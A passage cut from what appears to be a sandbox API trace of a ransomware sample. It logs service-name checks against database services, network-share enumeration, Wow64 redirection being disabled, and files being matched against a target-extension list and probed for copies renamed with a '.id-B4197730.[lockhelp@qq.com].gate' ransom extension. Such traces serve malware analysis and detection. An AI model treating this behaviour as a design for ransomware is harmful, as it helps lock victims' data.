(lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0321.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0321.981] lstrlenW (lpString="SENS") returned 4 [0321.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0321.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0321.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0321.981] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0321.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0321.981] lstrlenW (lpString="ShellHWDetection") returned 16 [0321.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0321.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0321.981] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0321.981] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0321.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0321.981] lstrlenW (lpString="Spooler") returned 7 [0321.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0321.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0321.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0321.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0321.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0321.981] lstrlenW (lpString="SSDPSRV") returned 7 [0321.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0321.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0321.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0321.981] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0321.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0321.981] lstrlenW (lpString="StateRepository") returned 15 [0321.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0321.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0321.981] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0321.982] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0321.982] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e287c8 | out: hHeap=0x490000) returned 1 [0321.982] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) Thread: id = 91 os_tid = 0xb7c [0317.739] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0xffffffff) returned 0x80 [0320.220] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce0d0 | out: hHeap=0x490000) returned 1 Thread: id = 92 os_tid = 0x878 [0317.739] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e38a0 [0317.739] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e38a0, Size=0x20) returned 0x4c80a0 [0317.739] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c80a0, Size=0x40) returned 0x4a2b20 [0317.739] GetLogicalDrives () returned 0x4 [0317.740] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4f0648 [0317.740] GetComputerNameW (in: lpBuffer=0x4f064c, nSize=0x270ff64 | out: lpBuffer="NQDPDE", nSize=0x270ff64) returned 1 [0317.740] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1000) returned 0x5253a8 [0317.740] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x4a3790) returned 0x0 [0317.741] WNetEnumResourceW (in: hEnum=0x4a3790, lpcCount=0x270ff30, lpBuffer=0x5253a8, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x5253a8, lpBufferSize=0x270ff38) returned 0x103 [0317.742] WNetCloseEnum (hEnum=0x4a3790) returned 0x0 [0317.742] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x4a5618) returned 0x0 [0317.754] WNetEnumResourceW (in: hEnum=0x4a5618, lpcCount=0x270ff30, lpBuffer=0x5253a8, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x5253a8, lpBufferSize=0x270ff38) returned 0x0 [0317.754] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1000) returned 0x526bb8 [0317.754] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5253a8, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x4a34d0) returned 0x0 [0317.756] WNetEnumResourceW (in: hEnum=0x4a34d0, lpcCount=0x270ff04, lpBuffer=0x526bb8, lpBufferSize=0x270ff0c | out: lpcCount=0x270ff04, lpBuffer=0x526bb8, lpBufferSize=0x270ff0c) returned 0x103 [0317.756] WNetCloseEnum (hEnum=0x4a34d0) returned 0x0 [0317.756] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1000) returned 0x4e7050 [0317.756] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5253c8, lphEnum=0x270ff08) Thread: id = 94 os_tid = 0xad0 [0317.970] GetTickCount () returned 0x2b04b [0317.970] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x24) returned 0x4a2f60 [0317.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4a2f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0317.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4a2f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0 [0317.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4a2f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4 [0317.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4a2f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0317.971] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed508 [0317.972] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed508, Size=0x20) returned 0x4e9770 [0317.972] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed6a0 [0317.972] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed6a0, Size=0x20) returned 0x4e9630 [0317.972] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0317.972] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0317.972] Wow64DisableWow64FsRedirection (in: OldValue=0x2c4ff7c | out: OldValue=0x2c4ff7c*=0x0) returned 1 [0317.972] lstrlenW (lpString="kernel32.dll") returned 12 [0317.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9770 | out: hHeap=0x490000) returned 1 [0317.972] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0317.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9630 | out: hHeap=0x490000) returned 1 [0317.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x4d0020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0317.972] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0318.267] GetTickCount () returned 0x2b174 [0318.267] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0318.462] GetTickCount () returned 0x2b22f [0318.462] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0318.839] GetTickCount () returned 0x2b3b6 [0318.839] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0319.620] GetTickCount () returned 0x2b6c3 [0319.620] GetTickCount () returned 0x2b6c3 [0319.620] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0320.057] GetTickCount () returned 0x2b878 [0320.057] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0320.225] GetTickCount () returned 0x2b915 [0320.225] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0320.964] GetTickCount () returned 0x2bc03 [0320.964] GetTickCount () returned 0x2bc03 [0320.964] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) returned 0x102 [0321.473] GetTickCount () returned 0x2bdf7 [0321.473] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x64) Thread: id = 95 os_tid = 0x86c [0317.973] GetTickCount () returned 0x2b04b [0317.973] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x24) returned 0x5111f0 [0317.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5111f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0317.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5111f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4 [0317.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5111f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8 [0317.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5111f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec [0317.974] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed6a0 [0317.974] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed6a0, Size=0x20) returned 0x4e9630 [0317.974] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed658 [0317.974] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed658, Size=0x20) returned 0x4e9770 [0317.975] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0317.975] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0317.975] Wow64DisableWow64FsRedirection (in: OldValue=0x2d8ff7c | out: OldValue=0x2d8ff7c*=0x0) returned 1 [0317.975] lstrlenW (lpString="kernel32.dll") returned 12 [0317.975] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9630 | out: hHeap=0x490000) returned 1 [0317.975] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0317.975] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9770 | out: hHeap=0x490000) returned 1 [0317.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x500650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0 [0317.975] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0318.267] GetTickCount () returned 0x2b174 [0318.267] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0318.462] GetTickCount () returned 0x2b22f [0318.462] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0318.840] GetTickCount () returned 0x2b3b6 [0318.840] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0319.620] GetTickCount () returned 0x2b6c3 [0319.620] GetTickCount () returned 0x2b6c3 [0319.620] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0320.058] GetTickCount () returned 0x2b878 [0320.058] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0320.225] GetTickCount () returned 0x2b915 [0320.225] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0320.655] GetTickCount () returned 0x2baca [0320.655] GetTickCount () returned 0x2baca [0320.655] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0321.149] GetTickCount () returned 0x2bcbe [0321.149] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) returned 0x102 [0321.603] GetTickCount () returned 0x2be83 [0321.603] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x64) Thread: id = 97 os_tid = 0xc34 [0317.993] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x527fe8 [0317.993] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x5387f8 [0317.993] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed6a0 [0317.993] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4e59a8 [0317.993] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed670 [0317.993] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x3a15020 [0317.996] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed6b8 [0317.996] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed6b8, Size=0x20) returned 0x4e9630 [0317.996] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed688 [0317.996] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed688, Size=0x20) returned 0x4e97e8 [0317.996] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0317.996] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0317.996] Wow64DisableWow64FsRedirection (in: OldValue=0x2ecff50 | out: OldValue=0x2ecff50*=0x0) returned 1 [0317.996] lstrlenW (lpString="kernel32.dll") returned 12 [0317.996] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9630 | out: hHeap=0x490000) returned 1 [0317.996] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0317.996] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e97e8 | out: hHeap=0x490000) returned 1 [0317.996] Sleep (dwMilliseconds=0x64) [0318.285] Sleep (dwMilliseconds=0x64) [0318.463] lstrcmpiW (lpString1=".p7b", lpString2=".gate") returned 1 [0318.463] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0318.463] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0318.463] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=4662) returned 1 [0318.463] CloseHandle (hObject=0x348) returned 1 [0318.463] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0318.464] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.464] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.464] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0318.464] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0318.464] lstrlenW (lpString=".doc") returned 4 [0318.464] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0318.464] lstrlenW (lpString=".docx") returned 5 [0318.464] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0318.464] lstrlenW (lpString=".pdf") returned 4 [0318.464] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0318.464] lstrlenW (lpString=".xls") returned 4 [0318.464] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0318.464] lstrlenW (lpString=".xlsx") returned 5 [0318.464] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0318.464] lstrlenW (lpString=".ppt") returned 4 [0318.464] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0318.464] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0318.464] lstrlenW (lpString=".zip") returned 4 [0318.464] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0318.464] lstrlenW (lpString=".rar") returned 4 [0318.464] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0318.464] lstrlenW (lpString=".bz2") returned 4 [0318.464] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0318.464] lstrlenW (lpString=".7z") returned 3 [0318.464] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0318.464] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0318.464] lstrlenW (lpString=".dbf") returned 4 [0318.464] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0318.465] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0318.465] lstrlenW (lpString=".1cd") returned 4 [0318.465] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0318.465] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0318.465] lstrlenW (lpString=".jpg") returned 4 [0318.465] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0318.465] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0318.465] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0318.465] lstrlenW (lpString=".doc") returned 4 [0318.465] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0318.465] lstrlenW (lpString=".docx") returned 5 [0318.465] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0318.465] lstrlenW (lpString=".pdf") returned 4 [0318.465] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0318.465] lstrlenW (lpString=".xls") returned 4 [0318.465] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0318.465] lstrlenW (lpString=".xlsx") returned 5 [0318.465] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0318.465] lstrlenW (lpString=".ppt") returned 4 [0318.465] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0318.465] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0318.465] lstrlenW (lpString=".zip") returned 4 [0318.465] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0318.465] lstrlenW (lpString=".rar") returned 4 [0318.465] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0318.465] lstrlenW (lpString=".bz2") returned 4 [0318.465] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0318.465] lstrlenW (lpString=".7z") returned 3 [0318.465] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0318.465] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0318.466] lstrlenW (lpString=".dbf") returned 4 [0318.466] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0318.466] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0318.466] lstrlenW (lpString=".1cd") returned 4 [0318.466] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0318.466] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0318.466] lstrlenW (lpString=".jpg") returned 4 [0318.466] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0318.466] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0318.466] lstrlenW (lpString="Alphabet.xml") returned 12 [0318.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0318.466] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=791421) returned 1 [0318.466] CloseHandle (hObject=0x348) returned 1 [0318.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0318.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0318.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0318.467] lstrlenW (lpString=".doc") returned 4 [0318.467] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0318.467] lstrlenW (lpString=".docx") returned 5 [0318.467] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0318.467] lstrlenW (lpString=".pdf") returned 4 [0318.467] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0318.467] lstrlenW (lpString=".xls") returned 4 [0318.467] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0318.467] lstrlenW (lpString=".xlsx") returned 5 [0318.467] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0318.467] lstrlenW (lpString=".ppt") returned 4 [0318.467] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0318.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0318.467] lstrlenW (lpString=".zip") returned 4 [0318.467] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0318.467] lstrlenW (lpString=".rar") returned 4 [0318.467] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0318.467] lstrlenW (lpString=".bz2") returned 4 [0318.467] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0318.467] lstrlenW (lpString=".7z") returned 3 [0318.468] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0318.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0318.468] lstrlenW (lpString=".dbf") returned 4 [0318.468] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0318.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0318.468] lstrlenW (lpString=".1cd") returned 4 [0318.468] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0318.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0318.468] lstrlenW (lpString=".jpg") returned 4 [0318.468] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0318.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0318.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0318.468] lstrlenW (lpString=".doc") returned 4 [0318.468] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0318.468] lstrlenW (lpString=".docx") returned 5 [0318.468] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0318.468] lstrlenW (lpString=".pdf") returned 4 [0318.468] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0318.468] lstrlenW (lpString=".xls") returned 4 [0318.468] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0318.468] lstrlenW (lpString=".xlsx") returned 5 [0318.468] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0318.468] lstrlenW (lpString=".ppt") returned 4 [0318.468] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0318.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0318.468] lstrlenW (lpString=".zip") returned 4 [0318.468] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0318.469] lstrlenW (lpString=".rar") returned 4 [0318.469] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0318.469] lstrlenW (lpString=".bz2") returned 4 [0318.469] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0318.469] lstrlenW (lpString=".7z") returned 3 [0318.469] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0318.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0318.469] lstrlenW (lpString=".dbf") returned 4 [0318.469] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0318.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0318.469] lstrlenW (lpString=".1cd") returned 4 [0318.469] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0318.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0318.469] lstrlenW (lpString=".jpg") returned 4 [0318.469] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0318.469] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0318.469] lstrlenW (lpString="Content.xml") returned 11 [0318.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0318.469] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=27045) returned 1 [0318.469] CloseHandle (hObject=0x348) returned 1 [0318.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0318.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0318.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0318.470] lstrlenW (lpString=".doc") returned 4 [0318.470] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0318.470] lstrlenW 